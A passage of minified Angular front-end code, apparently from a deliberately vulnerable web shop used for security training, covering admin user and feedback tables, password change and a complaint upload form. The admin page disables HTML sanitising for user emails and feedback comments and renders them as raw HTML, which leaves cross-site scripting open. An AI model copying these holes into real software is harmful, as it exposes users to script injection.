new(e||n)(t.Y36(N.WI),t.Y36(R))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-user-details"]],decls:29,vars:10,consts:[[1,"mat-typography"],["fxLayout","column",1,"container"],["fxLayout","row","fxLayoutGap","10px"],["translate","LABEL_EMAIL"],["translate","LABEL_CREATED_AT"],["translate","LABEL_UPDATED_AT"],["align","end",1,"dialogAction"],["mat-button","",2,"height","0","position","absolute"],["mat-stroked-button","","mat-dialog-close","","aria-label","Close Dialog",1,"close-dialog","buttons"],[1,"material-icons"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-dialog-content",0)(1,"header")(2,"h1"),t._uU(3),t.ALo(4,"translate"),t.qZA()(),t._UZ(5,"mat-divider"),t.TgZ(6,"div",1)(7,"div",2)(8,"div"),t._UZ(9,"strong",3),t.TgZ(10,"p"),t._uU(11),t.qZA()()(),t.TgZ(12,"div",2)(13,"div"),t._UZ(14,"strong",4),t.TgZ(15,"p"),t._uU(16),t.qZA()(),t.TgZ(17,"div"),t._UZ(18,"strong",5),t.TgZ(19,"p"),t._uU(20),t.qZA()()()(),t.TgZ(21,"mat-dialog-actions",6),t._UZ(22,"button",7),t.TgZ(23,"button",8)(24,"i",9),t._uU(25," close "),t.qZA(),t.TgZ(26,"span"),t._uU(27),t.ALo(28,"translate"),t.qZA()()()()),2&e&&(t.xp6(3),t.AsE("",t.lcZ(4,6,"LABEL_USER")," #",null==o.user?null:o.user.id,""),t.xp6(8),t.Oqu(null==o.user?null:o.user.email),t.xp6(5),t.Oqu(null==o.user?null:o.user.createdAt),t.xp6(4),t.Oqu(null==o.user?null:o.user.updatedAt),t.xp6(7),t.hij(" ",t.lcZ(28,8,"BTN_CLOSE"),""))},dependencies:[u.Pi,p.xw,p.SQ,x.lW,N.ZT,N.xY,N.H8,z.d,u.X$],styles:["mat-divider[_ngcontent-%COMP%]{margin-bottom:10px}.dialogAction[_ngcontent-%COMP%]{margin-bottom:0!important}"]}),n})(),Wo=(()=>{class n{constructor(e){this.dialogData=e}ngOnInit(){this.feedback=this.dialogData.feedback,this.id=this.dialogData.id}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.WI))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-feedback-details"]],decls:23,vars:11,consts:[[1,"mat-typography"],["fxLayout","column",1,"container"],["fxLayout","row","fxLayoutGap","10px"],[2,"margin-top","10px !important"],[3,"innerHTML"],["align","end",1,"dialogAction"],["mat-button","",2,"height","0","position","absolute"],["mat-stroked-button","","mat-dialog-close","","aria-label","Close Dialog",1,"close-dialog","buttons"],[1,"material-icons"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-dialog-content",0)(1,"header")(2,"h1"),t._uU(3),t.ALo(4,"translate"),t.qZA()(),t._UZ(5,"mat-divider"),t.TgZ(6,"div",1)(7,"div",2)(8,"span"),t._uU(9),t.ALo(10,"translate"),t.qZA(),t.TgZ(11,"p"),t._uU(12),t.qZA()(),t.TgZ(13,"div",3),t._UZ(14,"cite",4),t.qZA()(),t.TgZ(15,"mat-dialog-actions",5),t._UZ(16,"button",6),t.TgZ(17,"button",7)(18,"i",8),t._uU(19," close "),t.qZA(),t.TgZ(20,"span"),t._uU(21),t.ALo(22,"translate"),t.qZA()()()()),2&e&&(t.xp6(3),t.Oqu(t.lcZ(4,5,"LABEL_COMMENT")),t.xp6(6),t.hij("",t.lcZ(10,7,"LABEL_USER"),":"),t.xp6(3),t.hij("#",o.id,""),t.xp6(2),t.Q6J("innerHTML",o.feedback,t.oJD),t.xp6(7),t.hij(" ",t.lcZ(22,9,"BTN_CLOSE"),""))},dependencies:[p.xw,p.SQ,x.lW,N.ZT,N.xY,N.H8,z.d,u.X$],styles:["mat-divider[_ngcontent-%COMP%]{margin-bottom:10px}.dialogAction[_ngcontent-%COMP%]{margin-bottom:0!important}mat-dialog-content[_ngcontent-%COMP%]{max-width:320px;min-width:280px}"]}),n})();const zo=["paginatorUsers"],$o=["paginatorFeedb"];function Vo(n,a){1&n&&t._UZ(0,"mat-header-cell")}function Xo(n,a){1&n&&t._UZ(0,"i",30)}function ta(n,a){if(1&n&&(t.TgZ(0,"mat-cell",28),t.YNc(1,Xo,1,0,"i",29),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.Q6J("ngIf",e.token)}}function ea(n,a){1&n&&t._UZ(0,"mat-header-cell",1)}function na(n,a){1&n&&t._UZ(0,"mat-cell",31),2&n&&t.Q6J("innerHTML",a.$implicit.email,t.oJD)}function oa(n,a){1&n&&t._UZ(0,"mat-header-cell")}function aa(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell")(1,"button",32),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw();return t.KtG(l.showUserDetail(r.id))}),t._UZ(2,"i",33),t.qZA()()}}function ia(n,a){1&n&&t._UZ(0,"mat-header-row")}function ra(n,a){1&n&&t._UZ(0,"mat-row")}function sa(n,a){1&n&&t._UZ(0,"mat-header-cell")}function la(n,a){1&n&&t._UZ(0,"mat-cell",28)}function ca(n,a){1&n&&t._UZ(0,"mat-header-cell",1)}function ua(n,a){1&n&&t._UZ(0,"mat-cell",31),2&n&&t.Q6J("innerHTML",a.$implicit.email,t.oJD)}function pa(n,a){1&n&&t._UZ(0,"mat-header-cell")}function da(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell")(1,"button",32),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw();return t.KtG(l.showUserDetail(r.id))}),t._UZ(2,"i",33),t.qZA()()}}function ma(n,a){1&n&&t._UZ(0,"mat-header-row")}function ga(n,a){1&n&&t._UZ(0,"mat-row")}function ha(n,a){1&n&&t._UZ(0,"mat-header-cell",1)}function _a(n,a){if(1&n&&(t.TgZ(0,"mat-cell"),t._uU(1),t.qZA()),2&n){const e=a.$implicit;t.xp6(1),t.hij(" ",e.UserId,"")}}function fa(n,a){1&n&&t._UZ(0,"mat-header-cell",1)}function Ca(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell",34),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw();return t.KtG(l.showFeedbackDetails(r.comment,r.UserId))}),t._UZ(1,"p",35),t.qZA()}if(2&n){const e=a.$implicit;t.xp6(1),t.Q6J("innerHTML",e.comment,t.oJD)}}function va(n,a){1&n&&t._UZ(0,"mat-header-cell",1)}function xa(n,a){1&n&&(t.TgZ(0,"mat-icon"),t._uU(1," star_rate "),t.qZA())}function ba(n,a){if(1&n&&(t.TgZ(0,"mat-cell"),t.YNc(1,xa,2,0,"mat-icon",36),t.qZA()),2&n){const e=a.$implicit,o=t.oxw();t.xp6(1),t.Q6J("ngForOf",o.times(e.rating))}}function Ta(n,a){1&n&&t._UZ(0,"mat-header-cell")}function Aa(n,a){if(1&n){const e=t.EpF();t.TgZ(0,"mat-cell")(1,"button",32),t.NdJ("click",function(){const r=t.CHM(e).$implicit,l=t.oxw();return t.KtG(l.deleteFeedback(r.id))}),t._UZ(2,"i",37),t.qZA()()}}function ya(n,a){1&n&&t._UZ(0,"mat-header-row")}function Za(n,a){1&n&&t._UZ(0,"mat-row")}O.vI.add(g.ILF,g.Mdf,g.J9Y,g.N2j,g.I7k);let wa=(()=>{class n{constructor(e,o,i,r){this.dialog=e,this.userService=o,this.feedbackService=i,this.sanitizer=r,this.userColumns=["user","email","user_detail"],this.feedbackColumns=["user","comment","rating","remove"],this.resultsLengthUser=0,this.resultsLengthFeedback=0}ngOnInit(){this.findAllUsers(),this.findAllFeedbacks()}findAllUsers(){this.userService.find().subscribe(e=>{this.userDataSource=e,this.userDataSourceHidden=e;for(const o of this.userDataSource)o.email=this.sanitizer.bypassSecurityTrustHtml(`<span class="${o.token?"confirmation":"error"}">${o.email}</span>`);this.userDataSource=new d.by(this.userDataSource),this.userDataSource.paginator=this.paginatorUsers,this.resultsLengthUser=e.length},e=>{this.error=e,console.log(this.error)})}findAllFeedbacks(){this.feedbackService.find().subscribe(e=>{this.feedbackDataSource=e;for(const o of this.feedbackDataSource)o.comment=this.sanitizer.bypassSecurityTrustHtml(o.comment);this.feedbackDataSource=new d.by(this.feedbackDataSource),this.feedbackDataSource.paginator=this.paginatorFeedb,this.resultsLengthFeedback=e.length},e=>{this.error=e,console.log(this.error)})}deleteFeedback(e){this.feedbackService.del(e).subscribe(()=>{this.findAllFeedbacks()},o=>{this.error=o,console.log(this.error)})}showUserDetail(e){this.dialog.open(Ko,{data:{id:e}})}showFeedbackDetails(e,o){this.dialog.open(Wo,{data:{feedback:e,id:o}})}times(e){return Array(e).fill("\\u2605")}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(N.uw),t.Y36(R),t.Y36(Lt),t.Y36(k.H7))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-administration"]],viewQuery:function(e,o){if(1&e&&(t.Gf(zo,5),t.Gf($o,5)),2&e){let i;t.iGM(i=t.CRH())&&(o.paginatorUsers=i.first),t.iGM(i=t.CRH())&&(o.paginatorFeedb=i.first)}},decls:58,vars:13,consts:[[1,"mat-elevation-z6","mat-own-card"],["translate",""],["fxLayout","row","fxLayout.lt-md","column","fxLayoutGap","20px",1,"container"],["fxFlexAlign","center",1,"user-container"],[1,"user-table"],[1,"heading"],[2,"height","700px",3,"dataSource"],["matColumnDef","user"],[4,"matHeaderCellDef"],["style","vertical-align: middle",4,"matCellDef"],["matColumnDef","email"],["translate","",4,"matHeaderCellDef"],["style","vertical-align: middle",3,"innerHTML",4,"matCellDef"],["matColumnDef","user_detail"],[4,"matCellDef"],[4,"matHeaderRowDef"],[4,"matRowDef","matRowDefColumns"],["color","accent",1,"mat-elevation-z0",3,"pageSize","length"],["paginatorUsers",""],[2,"visibility","hidden","height","0px",3,"dataSource"],["fxFlexAlign.lt-md","center",1,"customer-container"],[1,"customer-table"],["matColumnDef","comment"],[3,"click",4,"matCellDef"],["matColumnDef","rating"],["matColumnDef","remove"],["paginatorFeedb",""],["src","assets/public/images/padding/19px.png"],[2,"vertical-align","middle"],["class","fas fa-user fa-lg confirmation",4,"ngIf"],[1,"fas","fa-user","fa-lg","confirmation"],[2,"vertical-align","middle",3,"innerHTML"],["mat-button","",3,"click"],[1,"fas","fa-eye"],[3,"click"],["matTooltip","Click for more information","matTooltipPosition","above",3,"innerHTML"],[4,"ngFor","ngForOf"],[1,"fas","fa-trash-alt"]],template:function(e,o){1&e&&(t.TgZ(0,"mat-card",0)(1,"h1",1),t._uU(2,"TITLE_ADMINISTRATION"),t.qZA(),t.TgZ(3,"div",2)(4,"div",3)(5,"div",4)(6,"div",5)(7,"span",1),t._uU(8,"SECTION_USER"),t.qZA()(),t.TgZ(9,"mat-table",6),t.ynx(10,7),t.YNc(11,Vo,1,0,"mat-header-cell",8),t.YNc(12,ta,2,1,"mat-cell",9),t.BQk(),t.ynx(13,10),t.YNc(14,ea,1,0,"mat-header-cell",11),t.YNc(15,na,1,1,"mat-cell",12),t.BQk(),t.ynx(16,13),t.YNc(17,oa,1,0,"mat-header-cell",8),t.YNc(18,aa,3,0,"mat-cell",14),t.BQk(),t.YNc(19,ia,1,0,"mat-header-row",15),t.YNc(20,ra,1,0,"mat-row",16),t.qZA(),t._UZ(21,"mat-paginator",17,18),t.qZA(),t.TgZ(23,"mat-table",19),t.ynx(24,7),t.YNc(25,sa,1,0,"mat-header-cell",8),t.YNc(26,la,1,0,"mat-cell",9),t.BQk(),t.ynx(27,10),t.YNc(28,ca,1,0,"mat-header-cell",11),t.YNc(29,ua,1,1,"mat-cell",12),t.BQk(),t.ynx(30,13),t.YNc(31,pa,1,0,"mat-header-cell",8),t.YNc(32,da,3,0,"mat-cell",14),t.BQk(),t.YNc(33,ma,1,0,"mat-header-row",15),t.YNc(34,ga,1,0,"mat-row",16),t.qZA()(),t.TgZ(35,"div",20)(36,"div",21)(37,"div",5)(38,"span",1),t._uU(39,"SECTION_CUSTOMER_FEEDBACK"),t.qZA()(),t.TgZ(40,"mat-table",6),t.ynx(41,7),t.YNc(42,ha,1,0,"mat-header-cell",11),t.YNc(43,_a,2,1,"mat-cell",14),t.BQk(),t.ynx(44,22),t.YNc(45,fa,1,0,"mat-header-cell",11),t.YNc(46,Ca,2,1,"mat-cell",23),t.BQk(),t.ynx(47,24),t.YNc(48,va,1,0,"mat-header-cell",11),t.YNc(49,ba,2,1,"mat-cell",14),t.BQk(),t.ynx(50,25),t.YNc(51,Ta,1,0,"mat-header-cell",8),t.YNc(52,Aa,3,0,"mat-cell",14),t.BQk(),t.YNc(53,ya,1,0,"mat-header-row",15),t.YNc(54,Za,1,0,"mat-row",16),t.qZA(),t._UZ(55,"mat-paginator",17,26),t.qZA()(),t._UZ(57,"img",27),t.qZA()()),2&e&&(t.xp6(9),t.Q6J("dataSource",o.userDataSource),t.xp6(10),t.Q6J("matHeaderRowDef",o.userColumns),t.xp6(1),t.Q6J("matRowDefColumns",o.userColumns),t.xp6(1),t.Q6J("pageSize",10)("length",o.resultsLengthUser),t.xp6(2),t.Q6J("dataSource",o.userDataSourceHidden),t.xp6(10),t.Q6J("matHeaderRowDef",o.userColumns),t.xp6(1),t.Q6J("matRowDefColumns",o.userColumns),t.xp6(6),t.Q6J("dataSource",o.feedbackDataSource),t.xp6(13),t.Q6J("matHeaderRowDef",o.feedbackColumns),t.xp6(1),t.Q6J("matRowDefColumns",o.feedbackColumns),t.xp6(1),t.Q6J("pageSize",10)("length",o.resultsLengthFeedback))},dependencies:[h.sg,h.O5,u.Pi,p.xw,p.SQ,p.XD,F.Hw,x.lW,d.BZ,d.fO,d.as,d.w1,d.Dz,d.nj,d.ge,d.ev,d.XQ,d.Gk,xt.NW,T.a8,Q.gM],styles:[".heading[_ngcontent-%COMP%]{background:rgba(0,0,0,.13);font-size:large;justify-content:center;margin-bottom:10px;padding:12px}.container[_ngcontent-%COMP%]{justify-content:center}mat-table[_ngcontent-%COMP%]{height:767px}mat-header-row[_ngcontent-%COMP%]{min-height:0!important}.user-container[_ngcontent-%COMP%], .customer-container[_ngcontent-%COMP%]{max-width:600px;min-width:300px;width:70%}.user-table[_ngcontent-%COMP%], .customer-table[_ngcontent-%COMP%]{margin-bottom:25px}.mat-column-icon[_ngcontent-%COMP%] svg[_ngcontent-%COMP%], .mat-column-user_detail[_ngcontent-%COMP%] button[_ngcontent-%COMP%]{margin-left:38%}mat-cell[_ngcontent-%COMP%], mat-footer-cell[_ngcontent-%COMP%], mat-header-cell[_ngcontent-%COMP%]{align-items:normal;display:block}.mat-column-comment[_ngcontent-%COMP%]{flex:0 0 55%!important;-webkit-hyphens:auto;hyphens:auto;overflow-wrap:break-word;padding:5px;white-space:unset!important;width:55%!important;word-break:break-word;word-wrap:break-word!important}.mat-column-user[_ngcontent-%COMP%]{flex:0 0 7%!important;-webkit-hyphens:auto;hyphens:auto;overflow-wrap:break-word;padding:5px;white-space:unset!important;width:7%!important;word-break:break-word;word-wrap:break-word!important}.mat-column-rating[_ngcontent-%COMP%]{flex:0 0 20%!important;-webkit-hyphens:auto;hyphens:auto;overflow-wrap:break-word;white-space:unset!important;width:20%!important;word-break:break-word;word-wrap:break-word!important}mat-cell[_ngcontent-%COMP%]:last-child, mat-footer-cell[_ngcontent-%COMP%]:last-child, mat-header-cell[_ngcontent-%COMP%]:last-child{padding-right:50px}mat-row[_ngcontent-%COMP%]{height:69px}.mat-own-card[_ngcontent-%COMP%]{display:block;margin-bottom:20px;margin-left:10%;margin-right:10%}p[_ngcontent-%COMP%]{-webkit-box-orient:vertical;display:-webkit-box;-webkit-line-clamp:2;overflow:hidden}"]}),n})();function Sa(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_CURRENT_PASSWORD"),t.qZA())}function ka(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," MANDATORY_NEW_PASSWORD "),t.qZA())}const we=function(){return{length:"5-40"}};function Ia(n,a){1&n&&(t.TgZ(0,"mat-error",19),t._uU(1,"INVALID_PASSWORD_LENGTH "),t.qZA()),2&n&&t.Q6J("translateParams",t.DdM(1,we))}function Oa(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1,"MANDATORY_PASSWORD_REPEAT"),t.qZA())}function Ua(n,a){1&n&&(t.TgZ(0,"mat-error",2),t._uU(1," PASSWORDS_NOT_MATCHING "),t.qZA())}O.vI.add(g.r6l,D.Xc);let La=(()=>{class n{constructor(e,o,i){this.userService=e,this.formSubmitService=o,this.translate=i,this.passwordControl=new s.p4("",[s.kI.required]),this.newPasswordControl=new s.p4("",[s.kI.required,s.kI.minLength(5),s.kI.maxLength(40)]),this.repeatNewPasswordControl=new s.p4("",[s.kI.required,s.kI.minLength(5),s.kI.maxLength(40),Pa(this.newPasswordControl)])}ngOnInit(){this.formSubmitService.attachEnterKeyHandler("password-form","changeButton",()=>{this.changePassword()})}changePassword(){localStorage.getItem("email")?.match(/support@.*/)&&!this.newPasswordControl.value.match(/(?=.*[a-z])(?=.*[A-Z])(?=.*\\d)(?=.*[@$!%*?&])[A-Za-z\\d@$!%*?&]{12,30}/)&&console.error("Parola echipei de asisten\\u021b\\u0103 nu respect\\u0103 politica corporativ\\u0103 pentru conturile privilegiate! V\\u0103 rug\\u0103m s\\u0103 schimba\\u021bi parola \\xeen consecin\\u021b\\u0103!"),this.userService.changePassword({current:this.passwordControl.value,new:this.newPasswordControl.value,repeat:this.repeatNewPasswordControl.value}).subscribe(e=>{this.error=void 0,this.translate.get("PASSWORD_SUCCESSFULLY_CHANGED").subscribe(o=>{this.confirmation=o},o=>{this.confirmation={error:o}}),this.resetForm()},e=>{console.log(e),this.error=e,this.confirmation=void 0,this.resetPasswords()})}resetForm(){this.passwordControl.setValue(""),this.resetPasswords()}resetPasswords(){this.passwordControl.markAsPristine(),this.passwordControl.markAsUntouched(),this.newPasswordControl.setValue(""),this.newPasswordControl.markAsPristine(),this.newPasswordControl.markAsUntouched(),this.repeatNewPasswordControl.setValue(""),this.repeatNewPasswordControl.markAsPristine(),this.repeatNewPasswordControl.markAsUntouched()}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(R),t.Y36(rt),t.Y36(u.sK))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-change-password"]],decls:42,vars:26,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6",2,"margin-bottom","20px"],["translate",""],[1,"confirmation",3,"hidden"],[1,"error",3,"hidden"],["id","password-form",1,"form-container"],["appearance","outline","color","accent"],["id","currentPassword","type","password","matInput","","aria-label","Field to enter the current password",3,"formControl","placeholder"],["translate","",4,"ngIf"],["id","newPassword","type","password","matInput","","aria-label","Field for the new password",3,"formControl"],["password",""],[1,"fas","fa-exclamation-circle"],["translate","",2,"margin-left","5px"],["align","end"],["translate","",3,"translateParams",4,"ngIf"],["id","newPasswordRepeat","type","password","matInput","","aria-label","Field to repeat the new password",3,"formControl"],["passwordRepeat",""],["type","submit","id","changeButton","mat-raised-button","","color","primary","aria-label","Button to confirm the change",3,"disabled","click"],["aria-hidden","true",1,"far","fa-edit","fa-lg"],["translate","",3,"translateParams"]],template:function(e,o){if(1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1",2),t._uU(3,"TITLE_CHANGE_PASSWORD"),t.qZA(),t.TgZ(4,"div",3),t._uU(5),t.qZA(),t.TgZ(6,"div",4),t._uU(7),t.qZA(),t.TgZ(8,"div",5)(9,"mat-form-field",6)(10,"mat-label",2),t._uU(11,"LABEL_CURRENT_PASSWORD"),t.qZA(),t._UZ(12,"input",7),t.ALo(13,"translate"),t.YNc(14,Sa,2,0,"mat-error",8),t.qZA(),t.TgZ(15,"mat-form-field",6)(16,"mat-label",2),t._uU(17,"LABEL_NEW_PASSWORD"),t.qZA(),t._UZ(18,"input",9,10),t.TgZ(20,"mat-hint",2),t._UZ(21,"i",11),t.TgZ(22,"em",12),t._uU(23),t.ALo(24,"translate"),t.qZA()(),t.TgZ(25,"mat-hint",13),t._uU(26),t.qZA(),t.YNc(27,ka,2,0,"mat-error",8),t.YNc(28,Ia,2,2,"mat-error",14),t.qZA(),t.TgZ(29,"mat-form-field",6)(30,"mat-label",2),t._uU(31,"LABEL_REPEAT_NEW_PASSWORD"),t.qZA(),t._UZ(32,"input",15,16),t.TgZ(34,"mat-hint",13),t._uU(35),t.qZA(),t.YNc(36,Oa,2,0,"mat-error",8),t.YNc(37,Ua,2,0,"mat-error",8),t.qZA()(),t.TgZ(38,"button",17),t.NdJ("click",function(){return o.changePassword()}),t._UZ(39,"i",18),t._uU(40),t.ALo(41,"translate"),t.qZA()()()),2&e){const i=t.MAs(19),r=t.MAs(33);t.xp6(4),t.Q6J("hidden",!(o.confirmation&&!o.passwordControl.dirty&&!o.newPasswordControl.dirty&&!o.repeatNewPasswordControl.dirty)),t.xp6(1),t.hij(" ",o.confirmation," "),t.xp6(1),t.Q6J("hidden",!(o.error&&!o.passwordControl.dirty&&!o.newPasswordControl.dirty&&!o.repeatNewPasswordControl.dirty)),t.xp6(1),t.hij(" ",o.error," "),t.xp6(5),t.s9C("placeholder",t.lcZ(13,18,"MANDATORY_CURRENT_PASSWORD")),t.Q6J("formControl",o.passwordControl),t.xp6(2),t.Q6J("ngIf",o.passwordControl.invalid),t.xp6(4),t.Q6J("formControl",o.newPasswordControl),t.xp6(5),t.Oqu(t.xi3(24,20,"INVALID_PASSWORD_LENGTH",t.DdM(25,we))),t.xp6(3),t.hij("",(null==i.value?null:i.value.length)||0,"/40"),t.xp6(1),t.Q6J("ngIf",(null==o.newPasswordControl?null:o.newPasswordControl.invalid)&&(null==o.newPasswordControl?null:o.newPasswordControl.errors.required)),t.xp6(1),t.Q6J("ngIf",(null==o.newPasswordControl?null:o.newPasswordControl.invalid)&&((null==o.newPasswordControl?null:o.newPasswordControl.errors.minlength)||(null==o.newPasswordControl?null:o.newPasswordControl.errors.maxlength))),t.xp6(4),t.Q6J("formControl",o.repeatNewPasswordControl),t.xp6(3),t.hij("",(null==r.value?null:r.value.length)||0,"/20"),t.xp6(1),t.Q6J("ngIf",o.repeatNewPasswordControl.invalid&&o.repeatNewPasswordControl.errors.required),t.xp6(1),t.Q6J("ngIf",o.repeatNewPasswordControl.invalid&&o.repeatNewPasswordControl.errors.notSame),t.xp6(1),t.Q6J("disabled",o.passwordControl.invalid||o.newPasswordControl.invalid||o.repeatNewPasswordControl.invalid),t.xp6(2),t.hij(" ",t.lcZ(41,23,"BTN_CHANGE")," ")}},dependencies:[h.O5,u.Pi,p.Wh,s.Fj,s.JJ,s.oH,f.TO,f.KE,f.bx,f.hX,x.lW,T.a8,B.Nt,u.X$],styles:["mat-card[_ngcontent-%COMP%]{height:auto;min-width:320px;width:25%}mat-form-field[_ngcontent-%COMP%]{padding-top:10px}.form-container[_ngcontent-%COMP%]{display:flex;flex-direction:column;position:relative}button[_ngcontent-%COMP%]{margin-top:5px}#changeButton[_ngcontent-%COMP%]{margin-left:20%;margin-top:30px;width:60%}"]}),n})();function Pa(n){return function(e){return n.value!==e.value?{notSame:!0}:null}}let Se=(()=>{class n{constructor(e){this.http=e,this.hostServer=P.N.hostServer,this.host=this.hostServer+"/api/Complaints"}save(e){return this.http.post(this.host+"/",e).pipe((0,C.U)(o=>o.data),(0,_.K)(o=>{throw o}))}}return n.\\u0275fac=function(e){return new(e||n)(t.LFG(L.eN))},n.\\u0275prov=t.Yz7({token:n,factory:n.\\u0275fac,providedIn:"root"}),n})();var te=c(162);const Na=["fileControl"],Ea=function(){return{type:"PDF, ZIP"}};function Ma(n,a){1&n&&(t.TgZ(0,"div",20),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n&&(t.xp6(1),t.hij("",t.xi3(2,1,"INVALID_FILE_TYPE",t.DdM(4,Ea))," "))}const Da=function(){return{size:"100 KB"}};function qa(n,a){1&n&&(t.TgZ(0,"div",20),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n&&(t.xp6(1),t.hij("",t.xi3(2,1,"INVALID_FILE_SIZE",t.DdM(4,Da))," "))}function Fa(n,a){1&n&&(t.TgZ(0,"mat-error"),t._uU(1),t.ALo(2,"translate"),t.qZA()),2&n&&(t.xp6(1),t.hij("",t.lcZ(2,1,"MANDATORY_MESSAGE")," "))}const Ba=function(){return{length:"160"}};O.vI.add(g.Yme);let Ra=(()=>{class n{constructor(e,o,i,r){this.userService=e,this.complaintService=o,this.formSubmitService=i,this.translate=r,this.customerControl=new s.p4({value:"",disabled:!0},[]),this.messageControl=new s.p4("",[s.kI.required,s.kI.maxLength(160)]),this.fileUploadError=void 0,this.uploader=new te.bA({url:P.N.hostServer+"/file-upload",authToken:`Bearer ${localStorage.getItem("token")}`,allowedMimeType:["application/pdf","application/xml","text/xml","application/zip","application/x-zip-compressed","multipart/x-zip"],maxFileSize:1e5}),this.userEmail=void 0,this.complaint=void 0}ngOnInit(){this.initComplaint(),this.uploader.onWhenAddingFileFailed=(e,o)=>{throw this.fileUploadError=o,new Error(`Error due to : ${o.name}`)},this.uploader.onAfterAddingFile=()=>{this.fileUploadError=void 0},this.uploader.onSuccessItem=()=>{this.saveComplaint(),this.uploader.clearQueue()},this.formSubmitService.attachEnterKeyHandler("complaint-form","submitButton",()=>{this.save()})}initComplaint(){this.userService.whoAmI().subscribe(e=>{this.complaint={},this.complaint.UserId=e.id,this.userEmail=e.email,this.customerControl.setValue(this.userEmail)},e=>{this.complaint=void 0,console.log(e)})}save(){this.uploader.queue[0]?(this.uploader.queue[0].upload(),this.fileControl.nativeElement.value=null):this.saveComplaint()}saveComplaint(){this.complaint.message=this.messageControl.value,this.complaintService.save(this.complaint).subscribe(e=>{this.translate.get("CUSTOMER_SUPPORT_COMPLAINT_REPLY",{ref:e.id}).subscribe(o=>{this.confirmation=o},o=>{this.confirmation=o}),this.initComplaint(),this.resetForm(),this.fileUploadError=void 0},e=>e)}resetForm(){this.messageControl.setValue(""),this.messageControl.markAsUntouched(),this.messageControl.markAsPristine(),this.fileControl.nativeElement.value=null}}return n.\\u0275fac=function(e){return new(e||n)(t.Y36(R),t.Y36(Se),t.Y36(rt),t.Y36(u.sK))},n.\\u0275cmp=t.Xpm({type:n,selectors:[["app-complaint"]],viewQuery:function(e,o){if(1&e&&t.Gf(Na,7),2&e){let i;t.iGM(i=t.CRH())&&(o.fileControl=i.first)}},decls:39,vars:21,consts:[["fxLayoutAlign","center"],[1,"mat-elevation-z6"],["translate",""],[1,"confirmation",3,"hidden"],["class","error fileUploadError",4,"ngIf"],["id","complaint-form",1,"form-container"],["appearance","outline","color","accent"],["type","text","matInput","","aria-label","Text field for the mail address of the user",3,"formControl"],[1,"fas","fa-exclamation-circle"],["translate","",2,"margin-left","5px"],["id","complaintMessage","matAutosizeMinRows","4","matAutosizeMaxRows","4","matTextareaAutosize","","cols","50","maxlength","160","matInput","","aria-label","Field for entering the complaint",3,"formControl","placeholder"],["complaintMessage",""],[4,"ngIf"],["align","end"],[2,"margin-top","15px"],["for","file","translate",""],["ng2FileSelect","","id","file","type","file","accept",".pdf,.zip","aria-label","Input area for uploading a single invoice PDF or XML B2B order file or a ZIP archive containing multiple invoices or orders\\x3c!----\\x3e",2,"margin-left","10px",3,"uploader"],["fileControl",""],["type","submit","id","submitButton","mat-raised-button","","color","primary","aria-label","Button to send the complaint",3,"disabled","click"],[1,"material-icons"],[1,"error","fileUploadError"]],template:function(e,o){if(1&e&&(t.TgZ(0,"div",0)(1,"mat-card",1)(2,"h1",2),t._uU(3,"NAV_COMPLAIN"),t.qZA(),t.TgZ(4,"div",3),t._uU(5),t.qZA(),t.YNc(6,Ma,3,5,"div",4),t.YNc(7,qa,3,5,"div",4),t.TgZ(8,"div",5)(9,"mat-form-field",6)(10,"mat-label",2),t._uU(11,"LABEL_CUSTOMER"),t.qZA(),t._UZ(12,"input",7),t.qZA(),t.TgZ(13,"mat-form-field",6)(14,"mat-label",2),t._uU(15,"LABEL_MESSAGE"),t.qZA(),t.TgZ(16,"mat-hint",2),t._UZ(17,"i",8),t.TgZ(18,"em",9),t._uU(19),t.ALo(20,"translate"),t.qZA()(),t._UZ(21,"textarea",10,11),t.ALo(23,"translate"),t.YNc(24,Fa,3,3,"mat-error",12),t.TgZ(25,"mat-hint",13),t._uU(26),t.qZA()(),t.TgZ(27,"div",14)(28,"label",15),t._uU(29,"LABEL_INVOICE"),t.TgZ(30,"span"),t._uU(31,":"),t.qZA()(),t._UZ(32,"input",16,17),t.qZA()(),t.TgZ(34,"button",18),t.NdJ("click",function(){return o.save()}),t.TgZ(35,"i",19),t._uU(36," send "),t.qZA(),t._uU(37),t.ALo(38,"translate"),t.qZA()()()),2&e){const i=t.MAs(22);t.xp6(4),t.Q6J("hidden",!(o.confirmation&&!o.messageControl.dirty)),t.xp6(1),t.Oqu(o.confirmation),t.xp6(1),t.Q6J("ngIf",o.fileUploadError&&"mimeType"==o.fileUploadError.name),t.xp6(1),t.Q6J("ngIf",o.fileUploadError&&"fileSize"==o.fileUploadError.name),t.xp6(5),t.Q6J("formControl",o.customerControl),t.xp6(7),t.Oqu(t.xi3(20,13,"MAX_TEXTAREA_LENGTH",t.DdM(20,Ba))),t.xp6(2),t.s9C("placeholder",t.lcZ(23,16,"WRITE_MESSAGE_PLACEHOLDER")),t.Q6J("formControl",o.messageControl),t.xp6(3),t.Q6J("ngIf",o.messageControl.invalid&&(null==o.messageControl?null:o.messageControl.errors.required)),t.xp6(2),t.hij("",(null==i.value?null:i.value.length)||0,"/160"),t.xp6(6),t.Q6J("uploader",o.uploader),t.xp6(2),t.Q6J("disabled",o.messageControl.invalid||o.fileUploadError),t.xp6(3),t.hij(" ",t.lcZ(38,18,"BTN_SUBMIT")," 